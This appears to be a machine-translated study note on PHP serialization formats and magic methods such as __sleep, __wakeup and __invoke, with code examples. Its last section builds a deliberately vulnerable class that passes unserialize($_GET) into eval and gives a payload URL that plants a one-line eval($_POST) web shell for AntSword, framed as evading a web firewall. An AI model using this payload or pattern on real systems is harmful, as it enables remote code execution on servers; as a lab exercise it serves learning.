Due to my weak foundation, I can only make simple records for the time being, which will be supplemented after more detailed explanation and repetition exercises.
Deserialization
serialize
Serialization is the process of converting an object state into a format that can be maintained or transmitted.
The opposite of serialization is deserialization, which converts a stream into an object. The combination of these two processes makes it easy to store and transfer data.
Serialization:
Object = = > string
Deserialization:
String = = > object
Why is there such a thing as deserialization?
It is convenient to transmit in the network
Deserialization needs to rely on previously declared classes
What problem does serialization solve?
1,Persistence of custom objects in some form of storage; 2,Transfer objects from one place to another. 3,Make the program more maintainable.
Serialization principle
<?php class A { // Declare properties public $public_prop; protected $prot_prop; private $priv_prop; //Declaration method public function __construct($public_prop, $prot_prop, $priv_prop) { $this->priv_prop=$priv_prop; $this->public_prop=$public_prop; $this->prot_prop=$prot_prop; } } $a_obj = new A("public","protectrd","private"); var_dump($a_obj); ?>
Now I want to transfer the class just defined to unserialize How to pass it in PHP?
echo urlencode(serialize($a_obj));
O:1:"A":3:{s:11:"public_prop";s:6:"public";s:12:"*prot_prop";s:9:"protectrd";s:12:"Apriv_prop";s:7:"private";}
Generated serialized string
O%3A1%3A%22A%22%3A3%3A%7Bs%3A11%3A%22public_prop%22%3Bs%3A6%3A%22public%22%3Bs%3A12%3A%22%00%2A%00prot_prop%22%3Bs%3A9%3A%22protectrd%22%3Bs%3A12%3A%22%00A%00priv_prop%22%3Bs%3A7%3A%22private%22%3B%7D
Image source:
https://www.cnblogs.com/upstream-yu/p/15191503.html
The object generated by deserialization does not depend on the original construction method, but only on the string constructed by us.
Deserialization has and can only control properties. We can only control the value of the property of the generated object, not the method called
Serialization representation of three attributes
<?php class A{ public $name; } $a_obj = new A(); echo serialize($a_obj)."<br>"; ?>
O:1:"A":1:{s:4:"name";N;}
<?php class A { public $name; } $a_obj = new A(); $a_obj->name = 'haha'; echo serialize($a_obj) . "<br>";
The following are the types represented by letters
a - array
b - boolean
d - double double
i- integer
O -common object general object
O:6:"Person":3:{s:12:"Personname";s:4:"haha";s:6:"*age";i:18;s:7:"address";s:7:"beijing";} //O represents the object //6 indicates the length of the class name //3 means there are 3 attributes //Note that different types correspond to serialized strings private $name; s:12:"Personname"; protected $age; s:6:"* age"; public $address; s:7:"address";
<?php class Person{ public $name; public $age; public $address; public function __construct($name, $age, $address) { $this->name = $name; $this->age = $age; $this->address = $address; } public function sayName(){ echo $this->name; } public function sayAge(){ echo $this->age; } public function sayAddress(){ echo $this->address; } } $persion1 = new Person('haha',18,'beijing'); echo serialize($persion1); //echo urlencode(serialize($persion1)); // After serialization, the serialized string is url encoded, //Just to deal with this%00 problem //$str="O%3A6%3A%22Person%22%3A3%3A%7Bs%3A12%3A%22%00Person%00name%22%3Bs%3A4%3A%22haha%22%3Bs%3A6%3A%22%00%2A%00age%22%3Bi%3A18%3Bs%3A7%3A%22address%22%3Bs%3A7%3A%22beijing%22%3B%7D"; //Deserialization //$obj = unserialize(urldecode($str)); // Deserialize() function //echo '<br>'; //$obj->sayAddress(); ?>
public Property directly without modification protected attribute %00*%00 Attribute name private attribute %00 Class name%00 Attribute name We can determine the attributes used by serializing the generated string
be careful:
During PHP serialization, the private and protected variables will introduce the invisible character% 00,% 00 class name% 00 attribute name is private
%00 *% 00 attribute is named protected. Note that these two% 00 are characters with ascii code 0. The display and output of this character may not be visible or even cause truncation, but it can be seen clearly after ur coding
//O:6:"Person":3:{s:12:"Personname";s:4:"haha";s:6:"*age";i:18;s:7:"address";s:7:"beijing";} //O%3A6%3A%22Person%22%3A3%3A%7Bs%3A12%3A%22%00Person%00name%22%3Bs%3A4%3A%22haha%22%3Bs%3A6%3A%22%00%2A%00age%22%3Bi%3A18%3Bs%3A7%3A%22address%22%3Bs%3A7%3A%22beijing%22%3B%7D
Magic Methods
Use two underscores _inphp_ The first methods are called magic methods, which play an important role in PHP.
Magic method is a special method that overrides PHP's default operation when performing some operation on an object.
__construct(), __destruct(), __call(), __callStatic(), __get(), __set(), __isset(), __unset(), __sleep(), __wakeup(), __serialize(), __unserialize(), __toString(), __invoke(), __set_state(), __clone() and __debugInfo() Such methods are called magic methods in PHP. You cannot use these method names when naming your own class methods, unless you want to use their magic function
This part can refer to the official explanation and relevant blogs;
Official website:
https://www.php.net/manual/zh/language.oop5.magic.php
Blog recommendation:
https://www.php.cn/php-weizijiaocheng-427052.html
Note: all magic methods must be declared public
Magic Methods
function | brief introduction |
---|---|
__sleep | The serialize() function checks whether there is a__ sleep magic method. If it exists, call it first |
__wakeup | The unserialize() function checks whether there is a__ wakeup, if it exists, call first |
__construct | Constructor, which is called each time an object is created |
__destruct | Executed when the object is deleted or explicitly destroyed |
Magic method__ call
When an invocation method is invoked in an object, __call() Will be called.
<?php class Test{ public function __call($name, $arguments) { // TODO: Implement __call() method. echo "now the name is ".$name."and the arguments is ".$arguments."<br/>"; } } $test_obj = new Test(); $test_obj->saynem(); ?>
Magic method__ callStatic()
<?php class Test{ public function __call($name, $arguments) { // TODO: Implement __call() method. echo "now the no static name is ".$name."and the arguments is ".implode(', ', $arguments)."<br/>"; } // private static function privateStaticSay(){ // echo "privateStaticSay is called"; // } public static function __callStatic($name, $arguments) { // TODO: Implement __callStatic() method. echo "now the static func name is ".$name."and the arguments is ".implode(', ', $arguments)."<br/>"; } } $test_obj = new Test(); //$test_obj->saynem("haha","hehe"); $test_obj::privateStaticSay("haha","hehe"); ?>
Magic method__ get
When reading the value of an inaccessible property, __get() Will be called.
<?php class Test{ //private $name; protected $age; public $address; private $data; public function __get($name) { // TODO: Implement __get() method. echo 'The property name you want to get'.$age; } } $test_obj = new Test('hehe',22); echo $test_obj->weqwe;
Magic method__ set
<?php class Test{ private $name; protected $age; public $address; public Static $data; public function __get($name) { // TODO: Implement __get() method. echo 'The property name you want to get'.$name; } public function __set($name, $value) { // TODO: Implement __set() method. echo "Setting '$name' to '$value'\n"; $this->name = $value; } } $test_obj = new Test('hehe',22); $test_obj->name = "new name"; echo $test_obj->name;
Magic method__ sleep()
serialize() The function checks whether a magic method exists in the class __sleep() . If present, the method is called before serialization. This function can be used to clean up an object and return an array containing the names of all variables in the object that should be serialized. If the method returns nothing, null is serialized and an e is generated_ Note level error
This function will be triggered during serialization
<?php class Person{ private $name; protected $age; public $address; public function __construct($name, $age, $address) { $this->name = $name; $this->age = $age; $this->address = $address; } public function sayName(){ echo $this->name; } public function sayAge(){ echo $this->age; } public function sayAddress(){ echo $this->address; } public function __sleep(){ // __ The sleep() magic method can limit those properties and render them after serialization return array('name'); //return array('name','age'); //return array('name','age','address'); } public function __destruct() { echo "<br>An object is destroyed".$this->name; } } $persion1 = new Person('haha',18,'beijing'); echo serialize($persion1); //No restrictions, serialize output //O:6:"Person":3:{s:12:"Personname";s:4:"haha";s:6:"*age";i:18;s:7:"address";s:7:"beijing";} //__ Serialize the output after the sleep() magic method limits it //O:6:"Person":1:{s:12:"Personname";s:4:"haha";} ?>
Magic method__ wakeup ()
On the contrary, unserialize() Checks if there is one __wakeup() method. If it exists, it will be called first__ The wakeup method prepares the resources required by the object in advance.
This function will be triggered during deserialization
<?php class Person{ private $name; protected $age; public $address; public function __construct($name, $age, $address) { $this->name = $name; $this->age = $age; $this->address = $address; } public function sayName(){ echo $this->name; } public function sayAge(){ echo $this->age; } public function sayAddress(){ echo $this->address; } public function __wakeup(){ echo "Deserialize an object"; } public function __destruct() { echo "An object is destroyed ".$this->name; } } $str="O%3A6%3A%22Person%22%3A3%3A%7Bs%3A12%3A%22%00Person%00name%22%3Bs%3A4%3A%22haha%22%3Bs%3A6%3A%22%00%2A%00age%22%3Bi%3A18%3Bs%3A7%3A%22address%22%3Bs%3A7%3A%22beijing%22%3B%7D"; //Deserialization $obj = unserialize(urldecode($str)); echo '<br>'; ?>
Magic method__ toString()
__toString() Method is used to how a class should respond when it is treated as a string. For example, echo $obj; What should be displayed. This method must return a string, otherwise an e will be issued_ RECOVERABLE_ Fatal error at error level.
<?php// Declare a simple class class TestClass{ public $foo; public function __construct($foo) { $this->foo = $foo; } public function __toString() { return $this->foo; } } $class = new TestClass('Hello'); echo $class;?>
Magic method__ invoke()
When you try to call an object by calling a function, __invoke() Method is called automatically.
<?php class Test{ private $name; protected $age; public $address; public Static $data; public function __get($name) { // TODO: Implement __get() method. echo 'The property name you want to get'.$name; } public function __set($name, $value) { // TODO: Implement __set() method. echo "Setting '$name' to '$value'\n"; $this->name = $value; } public function __invoke() { // TODO: Implement __invoke() method. echo 'now __invoke is has been called '; } } $test_obj = new Test('hehe',22); $test_obj();
We can also__ Transfer function in invoke()
<?php class Test{ private $name; protected $age; public $address; public Static $data; public function __get($name) { // TODO: Implement __get() method. echo 'The property name you want to get'.$name; } public function __set($name, $value) { // TODO: Implement __set() method. echo "Setting '$name' to '$value'\n"; $this->name = $value; } public function __invoke($eeee) { // TODO: Implement __invoke() method. echo 'now __invoke is has been called '.$eeee; } } $test_obj = new Test('hehe',22); $test_obj("hahahaaaa");
Avoid killing
<?php class Student { var $a; function __construct(){ echo "hello constructor"; } function __destruct(){ $this->a->action(); echo 'one'; } } class one { var $b; function action(){ eval($this->b); } } //$one_obj = new one(); //$student = new Student(); //$student->a=$one_obj; //echo serialize($student); //O:7:"Student":1:{s:1:"a";O:3:"one":1:{s:1:"b";N;}} unserialize($_GET['a']); ?>
To construct a one sentence Trojan horse, use ant sword to connect
http://127.0.0.1/demo.php?a=O:7:%22Student%22:1:{s:1:%22a%22;O:3:%22one%22:1:{s:1:%22b%22;s:16:%22eval($_POST[1]);%22;}}
Scan the above code with a safety dog to see if it can be avoided
Construct a one sentence Trojan horse and connect it with ant sword
http://127.0.0.1/demo.php?a=O:7:%22Student%22:1:{s:1:%22a%22;O:3:%22one%22:1:{s:1:%22b%22;s:16:%22eval($_POST[1]);%22;}}